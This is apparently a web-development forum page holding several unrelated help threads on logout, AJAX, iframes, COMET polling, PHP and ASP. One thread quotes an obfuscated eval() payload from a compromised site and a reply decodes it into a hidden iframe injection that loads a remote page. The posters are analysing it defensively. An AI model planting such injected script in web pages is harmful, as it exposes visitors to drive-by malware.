|
I need to create a function that allows the user to log out from the site and redirect him to the default home page. How can i create a java script function to sign out from a page? How can i log out from a page using java script? Thanks for your help
|
|
|
|
|
Depends on how you login, do you use session state on the server or just cookies.
If you just use cookies, you can delete them as shown in this article.[^]
|
|
|
|
|
To redirect using javascript use this code
window.location('index.html');
|
|
|
|
|
We've had a user access a site that has been compromised. The compromised site leads to a .js that appears to spawn an iframe. My JavaScript ability is amateur at best, and the code makes no sense to me. It seems simple, but I'm baffled by it, please help me identify what it does.
<code>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('8 (b.e==\'i-2\'){}4{3.g("<9 d=7:\/\/h.c.2\/a.6 f=1 5=0><\/9>");}',62,19,'|100|cn|document|else|height|htm|http|if|iframe|index|navigator|ririwow|src|systemLanguage|width|writeln|www|zh'.split('|'),0,{}))
</code>
This was pulled from "www[.]ririwow[.]cn".
|
|
|
|
|
The bulk of it is a decompressor / decryptor. The arguments passed to it (('8 (b.e==\'i-2\'){}4{3.g("<9 d=7:\/\/h.c.2\/a.6 f=1 5=0><\/9>");}',62,19,'|100|cn|document|else|height|htm|http|if|iframe|index|navigator|ririwow|src|systemLanguage|width|writeln|www|zh'.split('|'),0,{}) ) result in the following code (which is then passed to eval() to be executed):
if (navigator.systemLanguage=='zh-cn'){}else{document.writeln("<iframe src=http://www.ririwow.cn/index.htm width=100 height=0></iframe>");}
...which results in an invisible iframe loading up the given URL (unless the user's language is Simplified Chinese, in which case it does nothing at all).
I don't know what's at the end of that URL, and don't much feel like finding out right now.
Citizen 20.1.01 'The question is,' said Humpty Dumpty, 'which is to be master - that's all.'
|
|
|
|
|
I am new to ajax and i need book for it , so which is the best book for learner.
coolsatty
|
|
|
|
|
With which technology you would like to implement AJAX. Like you want to use it with asp,asp.net or simply with html??
By the way there are very good articles available on codeproject itself which will provide you a lot of information about AJAX.
|
|
|
|
|
I rather like this one[^]. It's not AJAX-specific, but frankly raw AJAX is dead simple (and... slightly tedious) - this'll introduce you to a nice little library for working with it.
Citizen 20.1.01 'The question is,' said Humpty Dumpty, 'which is to be master - that's all.'
|
|
|
|
|
If I load a web user control in an assembly from different assembly, the controls in the user controls dont get intialized. I need to explicitily intialize them.
For instance, I create a user control(TestControl ) in assembly(AssemblyName) with label in it. And I use it in different assembly as below
]]>
<uc1:testcontrol id="Test" runat="server">
The label in the user control in the referred assembly always remains NULL. I need to add it at runtime in the control. Do i need to take care of anything else or am I missing anything.
Any help would be appreciated.
Thanks in advance.
modified on Thursday, May 8, 2008 4:44 PM
|
|
|
|
|
Hai all,
in my html page i use iframe for load a page
<iframe src="some link" width="758" height="440" frameborder="no" scrolling="no"></iframe>
while it load it shows the error message permission denied error ?
but the same page work smoothly in other machine with IE6.
thanks in advance
|
|
|
|
|
seems u don't have proper permissions to that IP...contact administrator about that....
Ashish Sehajpal
|
|
|
|
|
Cross site scripting prevention?
Does the link exist on the same host as the parent page?
James Simpson
Web Developer
imebgo@hotmail.com
P S - This is what part of the alphabet would look like if Q and R were eliminated Mitch Hedberg
|
|
|
|
|
Parent page is client side,url in iframe is in server side, The url execute a javascript too.
|
|
|
|
|
so, the parent page is a file of disk? and the IFRAME is a file from a webserve?
That is most likely cross site scripting security in the browser stopping you doing that
Can you request the parent page from the same webserver?
James
James Simpson
Web Developer
imebgo@hotmail.com
P S - This is what part of the alphabet would look like if Q and R were eliminated Mitch Hedberg
|
|
|
|
|
Thanks for kind replay...
"permission Denined" error occure in some machine not all machine.Is any related to security property of IE.
Regards
vicky
|
|
|
|
|
My guess its the Browser blocking it becuase the two pages are from different domains (eg , File System and Web Server)
as for disabling that feature, im unsure if its possible in later version of IE and mozilla, but i could be wrong..
Google, would be your best bet now you know why the problem is occuring..
James
James Simpson
Web Developer
imebgo@hotmail.com
P S - This is what part of the alphabet would look like if Q and R were eliminated Mitch Hedberg
|
|
|
|
|
hai all,
How to set the visibility option for the created module in DNN?
for example:if i have created a report module.. how to switch off
that report module??? can anybody help me with this issue?
Thanks!!!!!
with Regards,
Imthiyas Ahamed.A
|
|
|
|
|
I have put together a COMET implementation in .NET and Javascript.
The model uses a custom threadpool to keep things scalable, and everything on the serverside is functioning correctly... now im having a small issue..
I have tested the server on a page that does not include any assets, or very few, and now I am including some stylesheets and larger images on a style page, when the comet client kicks in it doesnt fully function until a little while after the page has loaded (say within 10 seconds)
My model uses a single XMLHTTPRequest to wait for the poll (10 seconds on the server), and if I need to send a message, I cancel the first request, send the message and then poll again. When a poll times out, it restarts again.
The problem symptoms occur when I open the page it begins to poll and then I pretty much immediatly send a message, which aborts the poll, and attempts to send the message. It now waits a little while before it completes. Once this period of "warming up" is over, it functions correctly.
Im thinking IE is holding one of its 2 sockets open after the page has loaded the resources and this is causing the delay?
Any ideas if this is fixable - or should I just work around it? the obvious workaround would be to limit sending messages until the first poll has finished?
Thanks, James
James Simpson
Web Developer
imebgo@gmail.com
P S - This is what part of the alphabet would look like if Q and R were eliminated Mitch Hedberg
|
|
|
|
|
I'm working on a script for my employer's website that will take form data and enter it into a MySQL database. Easy enough...until they wanted it to never have any gaps in the "id" field. They want the "id" field to be automatically generated and for it to never have any gaps in it if we decide to delete someone out of the database for whatever reason. To do this I wrote the following code (this isn't in it's entirety, just the pieces that are pertinent.)
$id = 0;<br />
$query = mysql_query("SELECT * FROM <tablename> ORDER BY id") or die(mysql_error());<br />
$row = mysql_fetch_array($query) or die(mysql_error());<br />
<br />
<br />
while( $row['id'] = ($id + 1)){<br />
$id += 1;<br />
}<br />
$id +=1;</tablename>
It looks to me that it should say "while the id field (1) = $id + 1 (1) then add 1 to $id and repeat until the id field doesn't = $id + 1 anymore." For some reason though, when I run the script from the website it just sits there until I get this error back from Firefox.
Fatal error: Maximum execution time of 30 seconds exceeded in /var/www/www.website.com/htdocs/script.php on line 33
If I take the while statement out of the code and just have it echo back the values of $row['id'] and $id + 1 it brings back 1 and 1. But if I add the while loop in there it errors out again. I've tried while, do while, and if statements all to no avail.
My apologies for the lengthiness, but I wasn't sure how to make this more concise.
|
|
|
|
|
while( $row['id'] = ($id + 1)){
don't you think that you are using ASSIGNMENT operator instead of EQUALITY COMPARISON operator i.e. = instead of ==
Ashish Sehajpal
|
|
|
|
|
Ah...wow I feel dumb. Yeah that was the problem...the script works beautifully now. I guess I skipped that chapter when I was teaching myself PHP.
Thanks!
|
|
|
|
|
Hello,
I am posting string data from C++ application, which uses activex webbrowser control, to ASP. The only way i can post this string in binary using safearray.
Anyhow, I am able to successfully read this string in ASP server and assign it to client script varible using following statement.
inputstr = "<%Response.BinaryWrite(Request.BinaryRead(Request.TotalBytes))%>"
The problem is when i have some special characters like ",\r,\n... in my string.
Is there a way to get this string to client sdie, so that i parse it and populate fields.
Thanks
|
|
|
|
|
have u tried html encoding?
Ashish Sehajpal
|
|
|
|
|
I tried Html encoding, and having same problem.
I tried with simple \n in the input string:
function DisPlayMsg()
{
var outputstr
outputstr = "<%= Server.HTMLEncode(Response.BinaryWrite(Request.BinaryRead(Request.TotalBytes))) %>"
alert(outputstr)
}
And after server process:
function DisPlayMsg()
{
var outputstr
outputstr = "abcd
efgh"
alert(outputstr)
}
Ann obviously it is erroring out.
|
|
|
|
|
Ok, the Server is VBScript and the ClientSide is javascript
so, you need to replace Chr(13) with "\r" and Chr(10) with "\n" VB wonnt encode these characters
Giving you:
function DisPlayMsg()
{
var outputstr
outputstr = "abcd\r\nefgh"
alert(outputstr)
}
Its a been a while since I have used ASP, but I dont get while you are calling Response.BinaryWrite. The response is the output of the ASP page which I gather is the above code, so I don't see why your calling Response.BinaryWrite?
EDIT
I see why you are calling BinaryWrite, your first post does not use the <%=%> method of writing out the value. try converting the BinaryRead output to a string and running a replace on it.
James
James Simpson
Web Developer
imebgo@hotmail.com
P S - This is what part of the alphabet would look like if Q and R were eliminated Mitch Hedberg
modified on Thursday, May 8, 2008 10:42 AM
|
|
|
|